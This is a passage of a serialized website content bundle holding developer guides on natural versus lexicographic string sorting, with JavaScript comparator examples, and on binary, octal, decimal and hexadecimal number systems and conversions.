.sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":157719},[157720,157721,157722,157725,157726,157731,157732,157733,157734],{"id":156955,"depth":337,"text":156956},{"id":156989,"depth":337,"text":156990},{"id":157055,"depth":337,"text":157056,"children":157723},[157724],{"id":157108,"depth":343,"text":157109},{"id":103921,"depth":337,"text":103922},{"id":157201,"depth":337,"text":157202,"children":157727},[157728,157729,157730],{"id":8261,"depth":343,"text":9840},{"id":1609,"depth":343,"text":9860},{"id":24246,"depth":343,"text":24247},{"id":89110,"depth":337,"text":89111},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Understand natural sort order and how it differs from alphabetical sorting. Learn why file10.txt appears after file9.txt with natural sorting.",{"keywords":157737,"immutable":363},[6380,157738],"natural-sort-order-explained","\u002Fguides\u002Fnatural-sort-order-explained",{"title":156950,"description":157735},"guides\u002Fnatural-sort-order-explained","r5UdeHk5zsWKy5FF7lGME_ZPm8ERehHOXrLQZuYotn4",{"id":157744,"title":157745,"body":157746,"date":2070,"description":158425,"extension":361,"meta":158426,"navigation":363,"path":158427,"readingTime":1710,"seo":158428,"stem":158429,"__hash__":158430},"guides\u002Fguides\u002Fnatural-sort-vs-lexicographic.md","Natural Sort vs Lexicographic Sort",{"type":8,"value":157747,"toc":158418},[157748,157759,157763,157771,157777,157792,157795,157844,157846,157849,157855,157858,157923,157927,157943,157959,157972,157989,157993,157996,158332,158352,158393,158397,158408,158415],[16,157749,157750,157751,157754,157755,157758],{},"If you have ever sorted a list of files and seen ",[143,157752,157753],{},"file1.txt, file10.txt, file2.txt"," instead of the expected ",[143,157756,157757],{},"file1.txt, file2.txt, file10.txt",", you have encountered the difference between lexicographic and natural sorting. Lexicographic (alphabetical) sorting compares characters one by one, treating digits like any other character. Natural sorting recognizes numeric sequences and compares them as whole numbers. The distinction matters whenever your data contains mixed text and numbers.",[11,157760,157762],{"id":157761},"how-lexicographic-sort-works","How Lexicographic Sort Works",[16,157764,157765,157766,1856,157768,157770],{},"Lexicographic sorting compares strings character by character based on each character's code point value. When comparing ",[143,157767,157001],{},[143,157769,157004],{},", the algorithm proceeds as follows:",[135,157772,157775],{"className":157773,"code":157774,"language":140},[138],"file10 vs file2\n──────       (f = f, continue)\n ─────       (i = i, continue)\n  ────       (l = l, continue)\n   ───       (e = e, continue)\n    ──       (1 vs 2 → '1' (49) \u003C '2' (50)) → file10 comes first\n",[143,157776,157774],{"__ignoreMap":141},[16,157778,157779,157780,157782,157783,157785,157786,157788,157789,157791],{},"The digit ",[143,157781,3585],{}," has a lower code point than ",[143,157784,10099],{},", so ",[143,157787,157001],{}," sorts before ",[143,157790,157004],{},". This is technically correct lexicographic behavior, but it contradicts human intuition about numerical ordering.",[16,157793,157794],{},"Standard sorting functions in most programming languages default to lexicographic order for strings:",[135,157796,157798],{"className":1607,"code":157797,"language":1609,"meta":141,"style":141},"const files = ['file1.txt', 'file10.txt', 'file2.txt', 'file20.txt']\nfiles.sort()\n\u002F\u002F Result: ['file1.txt', 'file10.txt', 'file2.txt', 'file20.txt']\n",[143,157799,157800,157830,157839],{"__ignoreMap":141},[1560,157801,157802,157804,157806,157808,157810,157813,157815,157818,157820,157823,157825,157828],{"class":1562,"line":1563},[1560,157803,8180],{"class":1669},[1560,157805,151352],{"class":1576},[1560,157807,8186],{"class":1669},[1560,157809,39830],{"class":1570},[1560,157811,157812],{"class":5634},"'file1.txt'",[1560,157814,1459],{"class":1570},[1560,157816,157817],{"class":5634},"'file10.txt'",[1560,157819,1459],{"class":1570},[1560,157821,157822],{"class":5634},"'file2.txt'",[1560,157824,1459],{"class":1570},[1560,157826,157827],{"class":5634},"'file20.txt'",[1560,157829,37203],{"class":1570},[1560,157831,157832,157835,157837],{"class":1562,"line":337},[1560,157833,157834],{"class":1570},"files.",[1560,157836,100488],{"class":1566},[1560,157838,27830],{"class":1570},[1560,157840,157841],{"class":1562,"line":343},[1560,157842,157843],{"class":1649},"\u002F\u002F Result: ['file1.txt', 'file10.txt', 'file2.txt', 'file20.txt']\n",[11,157845,157056],{"id":157055},[16,157847,157848],{},"Natural sorting (also called alphanumeric or human sorting) identifies numeric substrings within each string and compares them as integers rather than digit-by-digit. Under natural sort:",[135,157850,157853],{"className":157851,"code":157852,"language":140},[138],"file1.txt  →  [\"file\", 1, \".txt\"]\nfile2.txt  →  [\"file\", 2, \".txt\"]\nfile10.txt →  [\"file\", 10, \".txt\"]\nfile20.txt →  [\"file\", 20, \".txt\"]\n",[143,157854,157852],{"__ignoreMap":141},[16,157856,157857],{},"Each string is decomposed into alternating text and numeric segments. Text segments compare lexicographically; numeric segments compare by integer value. The result matches human expectations:",[135,157859,157861],{"className":1607,"code":157860,"language":1609,"meta":141,"style":141},"import { compare } from 'natural-orderby'\n\nconst files = ['file1.txt', 'file10.txt', 'file2.txt', 'file20.txt']\nfiles.sort(compare())\n\u002F\u002F Result: ['file1.txt', 'file2.txt', 'file10.txt', 'file20.txt']\n",[143,157862,157863,157875,157879,157905,157918],{"__ignoreMap":141},[1560,157864,157865,157867,157870,157872],{"class":1562,"line":1563},[1560,157866,8162],{"class":1669},[1560,157868,157869],{"class":1570}," { compare } ",[1560,157871,8168],{"class":1669},[1560,157873,157874],{"class":5634}," 'natural-orderby'\n",[1560,157876,157877],{"class":1562,"line":337},[1560,157878,1702],{"emptyLinePlaceholder":363},[1560,157880,157881,157883,157885,157887,157889,157891,157893,157895,157897,157899,157901,157903],{"class":1562,"line":343},[1560,157882,8180],{"class":1669},[1560,157884,151352],{"class":1576},[1560,157886,8186],{"class":1669},[1560,157888,39830],{"class":1570},[1560,157890,157812],{"class":5634},[1560,157892,1459],{"class":1570},[1560,157894,157817],{"class":5634},[1560,157896,1459],{"class":1570},[1560,157898,157822],{"class":5634},[1560,157900,1459],{"class":1570},[1560,157902,157827],{"class":5634},[1560,157904,37203],{"class":1570},[1560,157906,157907,157909,157911,157913,157916],{"class":1562,"line":365},[1560,157908,157834],{"class":1570},[1560,157910,100488],{"class":1566},[1560,157912,1688],{"class":1570},[1560,157914,157915],{"class":1566},"compare",[1560,157917,38018],{"class":1570},[1560,157919,157920],{"class":1562,"line":889},[1560,157921,157922],{"class":1649},"\u002F\u002F Result: ['file1.txt', 'file2.txt', 'file10.txt', 'file20.txt']\n",[11,157924,157926],{"id":157925},"where-this-difference-matters","Where This Difference Matters",[16,157928,157929,157932,157933,91259,157936,114358,157939,157942],{},[47,157930,157931],{},"File systems and version lists."," Filenames with numeric suffixes—patches, chapters, logs, screenshots—are the most common case. A directory listing of screenshots sorted alphabetically shows ",[143,157934,157935],{},"img1.png",[143,157937,157938],{},"img9.png",[143,157940,157941],{},"img10.png","—unless the viewer uses natural sort.",[16,157944,157945,157948,157949,1459,157952,1459,157955,157958],{},[47,157946,157947],{},"Part numbers and product codes."," Manufacturing part numbers like ",[143,157950,157951],{},"A-100",[143,157953,157954],{},"A-2",[143,157956,157957],{},"A-10"," should typically sort by the numeric component. Lexicographic order scrambles them.",[16,157960,157961,157964,157965,1856,157968,157971],{},[47,157962,157963],{},"Addresses and room numbers."," Street addresses like ",[143,157966,157967],{},"221B Baker Street",[143,157969,157970],{},"10 Downing Street"," sort differently depending on whether the digit sequences are compared as numbers.",[16,157973,157974,157977,157978,23755,157980,157983,157984,156963,157986,157988],{},[47,157975,157976],{},"Version strings."," Software versions like ",[143,157979,157645],{},[143,157981,157982],{},"v1.9"," are a special case. Strict semantic versioning follows its own rules, but a natural sort gets closer than lexicographic order (",[143,157985,157982],{},[143,157987,157645],{},"), while still not matching full semver semantics.",[11,157990,157992],{"id":157991},"implementing-natural-sort","Implementing Natural Sort",[16,157994,157995],{},"The core algorithm splits each string into tokens of alternating alpha and numeric characters, then compares token-by-token:",[135,157997,157999],{"className":1607,"code":157998,"language":1609,"meta":141,"style":141},"function naturalCompare(a, b) {\n  const ax = a.split(\u002F(\\d+)\u002F)\n  const bx = b.split(\u002F(\\d+)\u002F)\n\n  for (let i = 0; i \u003C Math.min(ax.length, bx.length); i++) {\n    const an = parseInt(ax[i], 10)\n    const bn = parseInt(bx[i], 10)\n\n    if (isNaN(an) || isNaN(bn)) {\n      \u002F\u002F Text token: compare lexicographically\n      if (ax[i] \u003C bx[i]) return -1\n      if (ax[i] > bx[i]) return 1\n    } else {\n      \u002F\u002F Numeric token: compare as integers\n      if (an \u003C bn) return -1\n      if (an > bn) return 1\n    }\n  }\n\n  return ax.length - bx.length\n}\n\nconst files = ['file1.txt', 'file10.txt', 'file2.txt']\nfiles.sort(naturalCompare)\n\u002F\u002F Result: ['file1.txt', 'file2.txt', 'file10.txt']\n",[143,158000,158001,158018,158047,158076,158080,158119,158137,158154,158158,158178,158183,158201,158215,158224,158229,158247,158261,158265,158269,158273,158288,158292,158296,158318,158327],{"__ignoreMap":141},[1560,158002,158003,158005,158008,158010,158012,158014,158016],{"class":1562,"line":1563},[1560,158004,8648],{"class":1669},[1560,158006,158007],{"class":1566}," naturalCompare",[1560,158009,1688],{"class":1570},[1560,158011,98],{"class":2219},[1560,158013,1459],{"class":1570},[1560,158015,28973],{"class":2219},[1560,158017,9345],{"class":1570},[1560,158019,158020,158022,158024,158026,158029,158031,158033,158035,158037,158039,158041,158043,158045],{"class":1562,"line":337},[1560,158021,28057],{"class":1669},[1560,158023,157274],{"class":1576},[1560,158025,8186],{"class":1669},[1560,158027,158028],{"class":1570}," a.",[1560,158030,9356],{"class":1566},[1560,158032,1688],{"class":1570},[1560,158034,9423],{"class":5634},[1560,158036,1688],{"class":11919},[1560,158038,157302],{"class":1576},[1560,158040,9448],{"class":1669},[1560,158042,1525],{"class":11919},[1560,158044,9423],{"class":5634},[1560,158046,8252],{"class":1570},[1560,158048,158049,158051,158054,158056,158058,158060,158062,158064,158066,158068,158070,158072,158074],{"class":1562,"line":343},[1560,158050,28057],{"class":1669},[1560,158052,158053],{"class":1576}," bx",[1560,158055,8186],{"class":1669},[1560,158057,42211],{"class":1570},[1560,158059,9356],{"class":1566},[1560,158061,1688],{"class":1570},[1560,158063,9423],{"class":5634},[1560,158065,1688],{"class":11919},[1560,158067,157302],{"class":1576},[1560,158069,9448],{"class":1669},[1560,158071,1525],{"class":11919},[1560,158073,9423],{"class":5634},[1560,158075,8252],{"class":1570},[1560,158077,158078],{"class":1562,"line":365},[1560,158079,1702],{"emptyLinePlaceholder":363},[1560,158081,158082,158084,158086,158088,158090,158092,158094,158096,158098,158100,158102,158105,158107,158110,158112,158115,158117],{"class":1562,"line":889},[1560,158083,82192],{"class":1669},[1560,158085,5181],{"class":1570},[1560,158087,41680],{"class":1669},[1560,158089,7950],{"class":1570},[1560,158091,7297],{"class":1669},[1560,158093,13541],{"class":1576},[1560,158095,82205],{"class":1570},[1560,158097,6431],{"class":1669},[1560,158099,9393],{"class":1570},[1560,158101,28995],{"class":1566},[1560,158103,158104],{"class":1570},"(ax.",[1560,158106,9418],{"class":1576},[1560,158108,158109],{"class":1570},", bx.",[1560,158111,9418],{"class":1576},[1560,158113,158114],{"class":1570},"); i",[1560,158116,101562],{"class":1669},[1560,158118,9345],{"class":1570},[1560,158120,158121,158123,158125,158127,158130,158133,158135],{"class":1562,"line":1710},[1560,158122,9385],{"class":1669},[1560,158124,157459],{"class":1576},[1560,158126,8186],{"class":1669},[1560,158128,158129],{"class":1566}," parseInt",[1560,158131,158132],{"class":1570},"(ax[i], ",[1560,158134,36197],{"class":1576},[1560,158136,8252],{"class":1570},[1560,158138,158139,158141,158143,158145,158147,158150,158152],{"class":1562,"line":1717},[1560,158140,9385],{"class":1669},[1560,158142,157475],{"class":1576},[1560,158144,8186],{"class":1669},[1560,158146,158129],{"class":1566},[1560,158148,158149],{"class":1570},"(bx[i], ",[1560,158151,36197],{"class":1576},[1560,158153,8252],{"class":1570},[1560,158155,158156],{"class":1562,"line":1747},[1560,158157,1702],{"emptyLinePlaceholder":363},[1560,158159,158160,158162,158164,158167,158170,158172,158175],{"class":1562,"line":2507},[1560,158161,11527],{"class":1669},[1560,158163,5181],{"class":1570},[1560,158165,158166],{"class":1566},"isNaN",[1560,158168,158169],{"class":1570},"(an) ",[1560,158171,82344],{"class":1669},[1560,158173,158174],{"class":1566}," isNaN",[1560,158176,158177],{"class":1570},"(bn)) {\n",[1560,158179,158180],{"class":1562,"line":2524},[1560,158181,158182],{"class":1649},"      \u002F\u002F Text token: compare lexicographically\n",[1560,158184,158185,158187,158190,158192,158195,158197,158199],{"class":1562,"line":2529},[1560,158186,28220],{"class":1669},[1560,158188,158189],{"class":1570}," (ax[i] ",[1560,158191,6431],{"class":1669},[1560,158193,158194],{"class":1570}," bx[i]) ",[1560,158196,28313],{"class":1669},[1560,158198,22908],{"class":1669},[1560,158200,8778],{"class":1576},[1560,158202,158203,158205,158207,158209,158211,158213],{"class":1562,"line":2534},[1560,158204,28220],{"class":1669},[1560,158206,158189],{"class":1570},[1560,158208,28226],{"class":1669},[1560,158210,158194],{"class":1570},[1560,158212,28313],{"class":1669},[1560,158214,28389],{"class":1576},[1560,158216,158217,158220,158222],{"class":1562,"line":2542},[1560,158218,158219],{"class":1570},"    } ",[1560,158221,82068],{"class":1669},[1560,158223,1571],{"class":1570},[1560,158225,158226],{"class":1562,"line":2558},[1560,158227,158228],{"class":1649},"      \u002F\u002F Numeric token: compare as integers\n",[1560,158230,158231,158233,158236,158238,158241,158243,158245],{"class":1562,"line":2570},[1560,158232,28220],{"class":1669},[1560,158234,158235],{"class":1570}," (an ",[1560,158237,6431],{"class":1669},[1560,158239,158240],{"class":1570}," bn) ",[1560,158242,28313],{"class":1669},[1560,158244,22908],{"class":1669},[1560,158246,8778],{"class":1576},[1560,158248,158249,158251,158253,158255,158257,158259],{"class":1562,"line":6638},[1560,158250,28220],{"class":1669},[1560,158252,158235],{"class":1570},[1560,158254,28226],{"class":1669},[1560,158256,158240],{"class":1570},[1560,158258,28313],{"class":1669},[1560,158260,28389],{"class":1576},[1560,158262,158263],{"class":1562,"line":11615},[1560,158264,11612],{"class":1570},[1560,158266,158267],{"class":1562,"line":11621},[1560,158268,4959],{"class":1570},[1560,158270,158271],{"class":1562,"line":11633},[1560,158272,1702],{"emptyLinePlaceholder":363},[1560,158274,158275,158277,158279,158281,158283,158285],{"class":1562,"line":11638},[1560,158276,9350],{"class":1669},[1560,158278,157464],{"class":1570},[1560,158280,9418],{"class":1576},[1560,158282,22908],{"class":1669},[1560,158284,157448],{"class":1570},[1560,158286,158287],{"class":1576},"length\n",[1560,158289,158290],{"class":1562,"line":11672},[1560,158291,1585],{"class":1570},[1560,158293,158294],{"class":1562,"line":19435},[1560,158295,1702],{"emptyLinePlaceholder":363},[1560,158297,158298,158300,158302,158304,158306,158308,158310,158312,158314,158316],{"class":1562,"line":19442},[1560,158299,8180],{"class":1669},[1560,158301,151352],{"class":1576},[1560,158303,8186],{"class":1669},[1560,158305,39830],{"class":1570},[1560,158307,157812],{"class":5634},[1560,158309,1459],{"class":1570},[1560,158311,157817],{"class":5634},[1560,158313,1459],{"class":1570},[1560,158315,157822],{"class":5634},[1560,158317,37203],{"class":1570},[1560,158319,158320,158322,158324],{"class":1562,"line":19475},[1560,158321,157834],{"class":1570},[1560,158323,100488],{"class":1566},[1560,158325,158326],{"class":1570},"(naturalCompare)\n",[1560,158328,158329],{"class":1562,"line":19508},[1560,158330,158331],{"class":1649},"\u002F\u002F Result: ['file1.txt', 'file2.txt', 'file10.txt']\n",[16,158333,158334,158335,23755,158338,158341,158342,1856,158345,158347,158348,158351],{},"For production use, existing libraries handle edge cases like leading zeros (",[143,158336,158337],{},"img001",[143,158339,158340],{},"img1","), decimal numbers, and locale-specific text comparisons. In JavaScript, ",[143,158343,158344],{},"natural-orderby",[143,158346,157520],{}," with the ",[143,158349,158350],{},"numeric"," option are reliable choices:",[135,158353,158355],{"className":1607,"code":158354,"language":1609,"meta":141,"style":141},"files.sort((a, b) => a.localeCompare(b, undefined, { numeric: true }))\n",[143,158356,158357],{"__ignoreMap":141},[1560,158358,158359,158361,158363,158365,158367,158369,158371,158373,158375,158377,158379,158382,158385,158388,158390],{"class":1562,"line":1563},[1560,158360,157834],{"class":1570},[1560,158362,100488],{"class":1566},[1560,158364,11495],{"class":1570},[1560,158366,98],{"class":2219},[1560,158368,1459],{"class":1570},[1560,158370,28973],{"class":2219},[1560,158372,1733],{"class":1570},[1560,158374,11503],{"class":1669},[1560,158376,158028],{"class":1570},[1560,158378,157520],{"class":1566},[1560,158380,158381],{"class":1570},"(b, ",[1560,158383,158384],{"class":1576},"undefined",[1560,158386,158387],{"class":1570},", { numeric: ",[1560,158389,20533],{"class":1576},[1560,158391,158392],{"class":1570}," }))\n",[11,158394,158396],{"id":158395},"leading-zeros","Leading Zeros",[16,158398,158399,158400,1856,158402,158404,158405,158407],{},"A subtle edge case: strings with leading zeros. Natural sort typically treats ",[143,158401,158337],{},[143,158403,158340],{}," as equivalent numerically (both tokenize to ",[143,158406,3585],{},"), falling back to lexicographic comparison of the digit strings themselves. Some implementations offer options to treat leading zeros as significant for tie-breaking.",[16,158409,158410,158411,158414],{},"For quick sorting of any list with natural order, the ",[98,158412,158413],{"href":6340},"List Sorter tool"," supports both lexicographic and natural sort modes out of the box.",[2043,158416,158417],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":158419},[158420,158421,158422,158423,158424],{"id":157761,"depth":337,"text":157762},{"id":157055,"depth":337,"text":157056},{"id":157925,"depth":337,"text":157926},{"id":157991,"depth":337,"text":157992},{"id":158395,"depth":337,"text":158396},"Why file10.txt comes after file9.txt in natural sort but not in alphabetical sort.",{},"\u002Fguides\u002Fnatural-sort-vs-lexicographic",{"title":157745,"description":158425},"guides\u002Fnatural-sort-vs-lexicographic","3OfwdeZHkl3XW8M6Q71LwtDSZ4kaoHwDJR-cWUKLx7k",{"id":158432,"title":14978,"body":158433,"date":2070,"description":158885,"extension":361,"meta":158886,"navigation":363,"path":10547,"readingTime":1710,"seo":158887,"stem":158888,"__hash__":158889},"guides\u002Fguides\u002Fnumber-systems-explained.md",{"type":8,"value":158434,"toc":158862},[158435,158439,158442,158445,158491,158504,158508,158511,158514,158520,158523,158526,158529,158534,158537,158541,158544,158550,158557,158561,158564,158570,158573,158577,158641,158645,158649,158652,158658,158662,158665,158671,158675,158678,158684,158687,158691,158695,158698,158782,158784,158790,158796,158800,158803,158818,158820,158840,158842,158848,158850,158860],[11,158436,158438],{"id":158437},"what-is-a-number-system","What Is a Number System?",[16,158440,158441],{},"A number system is a way to represent quantities using a fixed set of symbols and rules. The system you use every day — decimal — uses ten digits (0–9) because humans have ten fingers. But computers don't have fingers. They have transistors, which understand only two states: on and off. That's why different number systems exist.",[16,158443,158444],{},"Every number system has three key components:",[193,158446,158447,158459],{},[196,158448,158449],{},[199,158450,158451,158453,158456],{},[202,158452,29085],{},[202,158454,158455],{},"Definition",[202,158457,158458],{},"Decimal Example",[211,158460,158461,158471,158480],{},[199,158462,158463,158466,158469],{},[216,158464,158465],{},"Base (radix)",[216,158467,158468],{},"The number of unique digits",[216,158470,36197],{},[199,158472,158473,158475,158478],{},[216,158474,14495],{},[216,158476,158477],{},"The symbols used to represent values",[216,158479,14498],{},[199,158481,158482,158485,158488],{},[216,158483,158484],{},"Place value",[216,158486,158487],{},"The weight of each position, calculated as base^position",[216,158489,158490],{},"10^0, 10^1, 10^2",[16,158492,158493,158494,158496,158497,158500,158501,158503],{},"The same number looks different depending on the base. The value 255 in decimal is ",[143,158495,14621],{}," in binary, ",[143,158498,158499],{},"377"," in octal, and ",[143,158502,10403],{}," in hexadecimal — but it represents the exact same quantity.",[11,158505,158507],{"id":158506},"the-four-common-number-systems","The Four Common Number Systems",[33,158509,14485],{"id":158510},"decimal-base-10",[16,158512,158513],{},"Decimal is the number system you already know. It uses digits 0 through 9, and each position represents a power of 10.",[135,158515,158518],{"className":158516,"code":158517,"language":140},[138],"345 = 3 × 10² + 4 × 10¹ + 5 × 10⁰\n    = 300 + 40 + 5\n    = 345\n",[143,158519,158517],{"__ignoreMap":141},[16,158521,158522],{},"You use decimal for everyday counting, money, and measurements. In programming, decimal is the default for human-readable output.",[33,158524,14488],{"id":158525},"binary-base-2",[16,158527,158528],{},"Binary uses only two digits: 0 and 1. Each position represents a power of 2. This is the native language of computers — every piece of data in memory is stored as binary.",[135,158530,158532],{"className":158531,"code":14461,"language":140},[138],[143,158533,14461],{"__ignoreMap":141},[16,158535,158536],{},"Common uses of binary in programming include bitmasks, permission flags, and low-level hardware control.",[33,158538,158540],{"id":158539},"octal-base-8","Octal (Base-8)",[16,158542,158543],{},"Octal uses digits 0 through 7. Each position represents a power of 8. Octal was popular in early computing when systems used 12-bit or 36-bit word sizes, because those divide evenly by 3.",[135,158545,158548],{"className":158546,"code":158547,"language":140},[138],"72 = 7 × 8¹ + 2 × 8⁰\n   = 56 + 2\n   = 58 (decimal)\n",[143,158549,158547],{"__ignoreMap":141},[16,158551,158552,158553,158556],{},"Today, octal appears most often in Unix file permissions. The command ",[143,158554,158555],{},"chmod 755"," sets permissions using octal digits where each digit represents read, write, and execute bits for owner, group, and others.",[33,158558,158560],{"id":158559},"hexadecimal-base-16","Hexadecimal (Base-16)",[16,158562,158563],{},"Hexadecimal (hex) uses sixteen digits: 0–9 and A–F. The letters A through F represent decimal values 10 through 15. Each position represents a power of 16.",[135,158565,158568],{"className":158566,"code":158567,"language":140},[138],"2F = 2 × 16¹ + 15 × 16⁰\n   = 32 + 15\n   = 47 (decimal)\n",[143,158569,158567],{"__ignoreMap":141},[16,158571,158572],{},"Hex is the go-to format for representing binary data compactly. One hex digit maps exactly to four binary digits, making conversion between the two trivial.",[11,158574,158576],{"id":158575},"comparing-the-systems","Comparing the Systems",[193,158578,158579,158592],{},[196,158580,158581],{},[199,158582,158583,158585,158588,158590],{},[202,158584,67119],{},[202,158586,158587],{},"Base",[202,158589,14495],{},[202,158591,24556],{},[211,158593,158594,158605,158617,158628],{},[199,158595,158596,158598,158600,158602],{},[216,158597,115685],{},[216,158599,10099],{},[216,158601,14501],{},[216,158603,158604],{},"Logic gates, bitmasks, low-level hardware",[199,158606,158607,158609,158611,158614],{},[216,158608,24541],{},[216,158610,10078],{},[216,158612,158613],{},"0–7",[216,158615,158616],{},"Unix file permissions",[199,158618,158619,158621,158623,158625],{},[216,158620,5271],{},[216,158622,36197],{},[216,158624,28727],{},[216,158626,158627],{},"Human-readable output, everyday math",[199,158629,158630,158633,158635,158638],{},[216,158631,158632],{},"Hexadecimal",[216,158634,10057],{},[216,158636,158637],{},"0–9, A–F",[216,158639,158640],{},"Memory addresses, color values, debugging",[11,158642,158644],{"id":158643},"conversion-methods","Conversion Methods",[33,158646,158648],{"id":158647},"converting-from-any-base-to-decimal","Converting from Any Base to Decimal",[16,158650,158651],{},"Multiply each digit by its place value (base raised to the position power) and add the results. This works for every base.",[135,158653,158656],{"className":158654,"code":158655,"language":140},[138],"Binary 1101 → Decimal:\n1×2³ + 1×2² + 0×2¹ + 1×2⁰ = 8 + 4 + 0 + 1 = 13\n\nHex 3A → Decimal:\n3×16¹ + 10×16⁰ = 48 + 10 = 58\n",[143,158657,158655],{"__ignoreMap":141},[33,158659,158661],{"id":158660},"converting-from-decimal-to-any-base","Converting from Decimal to Any Base",[16,158663,158664],{},"Divide the decimal number by the target base repeatedly. Collect the remainders in reverse order.",[135,158666,158669],{"className":158667,"code":158668,"language":140},[138],"Decimal 255 → Binary:\n255 ÷ 2 = 127 remainder 1\n127 ÷ 2 = 63  remainder 1\n63  ÷ 2 = 31  remainder 1\n31  ÷ 2 = 15  remainder 1\n15  ÷ 2 = 7   remainder 1\n7   ÷ 2 = 3   remainder 1\n3   ÷ 2 = 1   remainder 1\n1   ÷ 2 = 0   remainder 1\nResult (read bottom-up): 11111111\n\nDecimal 255 → Hex:\n255 ÷ 16 = 15 remainder 15 (F)\n15  ÷ 16 = 0  remainder 15 (F)\nResult: FF\n",[143,158670,158668],{"__ignoreMap":141},[33,158672,158674],{"id":158673},"binary-hex-shortcut","Binary ↔ Hex Shortcut",[16,158676,158677],{},"This is the conversion trick developers use most often. Group binary digits in sets of four (from right to left), then replace each group with its hex equivalent.",[135,158679,158682],{"className":158680,"code":158681,"language":140},[138],"Binary: 1101 0110 0011\nHex:      D    6    3\nResult: D63\n",[143,158683,158681],{"__ignoreMap":141},[16,158685,158686],{},"No long division needed — just memorize the 16 possible 4-bit patterns and their hex equivalents.",[11,158688,158690],{"id":158689},"number-systems-in-programming","Number Systems in Programming",[33,158692,158694],{"id":158693},"bitmasks-and-permissions","Bitmasks and Permissions",[16,158696,158697],{},"Many APIs use bit positions to represent flags. Understanding binary lets you read and set these values directly.",[135,158699,158701],{"className":1607,"code":158700,"language":1609,"meta":141,"style":141},"\u002F\u002F Read permission = 4 (100), Write = 2 (010), Execute = 1 (001)\nconst READ_WRITE = 0b110;  \u002F\u002F 6\nconst ALL = 0b111;          \u002F\u002F 7\n\n\u002F\u002F Check if read is set\nif (permissions & 0b100) {\n  console.log(\"Read access granted\");\n}\n",[143,158702,158703,158708,158725,158742,158746,158751,158765,158778],{"__ignoreMap":141},[1560,158704,158705],{"class":1562,"line":1563},[1560,158706,158707],{"class":1649},"\u002F\u002F Read permission = 4 (100), Write = 2 (010), Execute = 1 (001)\n",[1560,158709,158710,158712,158715,158717,158720,158722],{"class":1562,"line":337},[1560,158711,8180],{"class":1669},[1560,158713,158714],{"class":1576}," READ_WRITE",[1560,158716,8186],{"class":1669},[1560,158718,158719],{"class":1576}," 0b110",[1560,158721,3409],{"class":1570},[1560,158723,158724],{"class":1649},"\u002F\u002F 6\n",[1560,158726,158727,158729,158732,158734,158737,158739],{"class":1562,"line":343},[1560,158728,8180],{"class":1669},[1560,158730,158731],{"class":1576}," ALL",[1560,158733,8186],{"class":1669},[1560,158735,158736],{"class":1576}," 0b111",[1560,158738,58865],{"class":1570},[1560,158740,158741],{"class":1649},"\u002F\u002F 7\n",[1560,158743,158744],{"class":1562,"line":365},[1560,158745,1702],{"emptyLinePlaceholder":363},[1560,158747,158748],{"class":1562,"line":889},[1560,158749,158750],{"class":1649},"\u002F\u002F Check if read is set\n",[1560,158752,158753,158755,158758,158760,158763],{"class":1562,"line":1710},[1560,158754,8052],{"class":1669},[1560,158756,158757],{"class":1570}," (permissions ",[1560,158759,13530],{"class":1669},[1560,158761,158762],{"class":1576}," 0b100",[1560,158764,9345],{"class":1570},[1560,158766,158767,158769,158771,158773,158776],{"class":1562,"line":1717},[1560,158768,9717],{"class":1570},[1560,158770,8214],{"class":1566},[1560,158772,1688],{"class":1570},[1560,158774,158775],{"class":5634},"\"Read access granted\"",[1560,158777,1744],{"class":1570},[1560,158779,158780],{"class":1562,"line":1747},[1560,158781,1585],{"class":1570},[33,158783,115451],{"id":115450},[16,158785,158786,158787,158789],{},"CSS colors like ",[143,158788,115412],{}," are hexadecimal. Each pair of hex digits represents the red, green, or blue channel from 0 to 255.",[135,158791,158794],{"className":158792,"code":158793,"language":140},[138],"#FF5733\nRR = FF = 255 (red)\nGG = 57 = 87  (green)\nBB = 33 = 51  (blue)\n",[143,158795,158793],{"__ignoreMap":141},[33,158797,158799],{"id":158798},"memory-addresses","Memory Addresses",[16,158801,158802],{},"Debuggers and profilers display memory addresses in hex. Understanding hex helps you spot patterns and alignment issues in memory dumps.",[135,158804,158806],{"className":13941,"code":158805,"language":13943,"meta":141,"style":141},"\u002F\u002F Typical memory address output\n0x7fff5fbff8a0  \u002F\u002F hex address\n",[143,158807,158808,158813],{"__ignoreMap":141},[1560,158809,158810],{"class":1562,"line":1563},[1560,158811,158812],{},"\u002F\u002F Typical memory address output\n",[1560,158814,158815],{"class":1562,"line":337},[1560,158816,158817],{},"0x7fff5fbff8a0  \u002F\u002F hex address\n",[11,158819,1355],{"id":1354},[41,158821,158822,158825,158828,158831,158834,158837],{},[44,158823,158824],{},"Every number system uses a base, a set of digits, and place values based on powers of the base",[44,158826,158827],{},"Binary is fundamental to computing; decimal is for humans; hex bridges the 